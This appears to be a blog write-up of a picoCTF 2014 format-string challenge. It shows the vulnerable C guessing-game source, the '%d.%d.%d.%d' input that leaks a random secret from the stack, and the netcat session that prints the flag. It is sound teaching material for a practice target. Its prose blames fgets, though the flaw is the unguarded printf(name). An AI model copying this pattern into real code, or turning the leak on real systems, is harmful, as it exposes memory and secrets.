On this problem, I had to guess a random 32 bit integer. I had 2^32 chance of getting it right, making it very unlikely that I would actually be able to guess the number.
I studied the source program, which was written in C, and noticed that the "fgets(name, sizeof(name), stdin);" part of it was exploitable by a format string vulnerability. I noticed that the variable that I
wanted, f, was the fourth integer on the stack. So, when the program asked my name, I typed in %d.%d.%d.%d, and it printed four numbers that were separated by periods so that I could read them more easily. When it asked me to type in my guess,
I typed in the fourth number that had printed out, and got the flag: leak_the_seakret.
#include <stdio.h>
#include <stdlib.h>
char *flag = "~~FLAG~~";
void main(){
int secret, guess;
char name[32];
long seed;
FILE *f = fopen("/dev/urandom", "rb");
fread(&secret, sizeof(int), 1, f);
fclose(f);
printf("Hello! What is your name?\n");
fgets(name, sizeof(name), stdin);
printf("Welcome to the guessing game, ");
printf(name);
printf("\nI generated a random 32-bit number.\nYou have a 1 in 2^32 chance of guessing it. Good luck.\n");
printf("What is your guess?\n");
scanf("%d", &guess);
if(guess == secret){
printf("Wow! You guessed it!\n");
printf("Your flag is: %s\n", flag);
}else{
printf("Hah! I knew you wouldn't get it.\n");
}
}
$ nc vuln2014.picoctf.com 4546
\Hello! What is your name?
%d.%d.%d.%d
Welcome to the guessing game, \32.-143668192.162005000.-857849444
I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
-857849444
Wow! You guessed it!
Your flag is: leak_the_seakret
No comments:
Post a Comment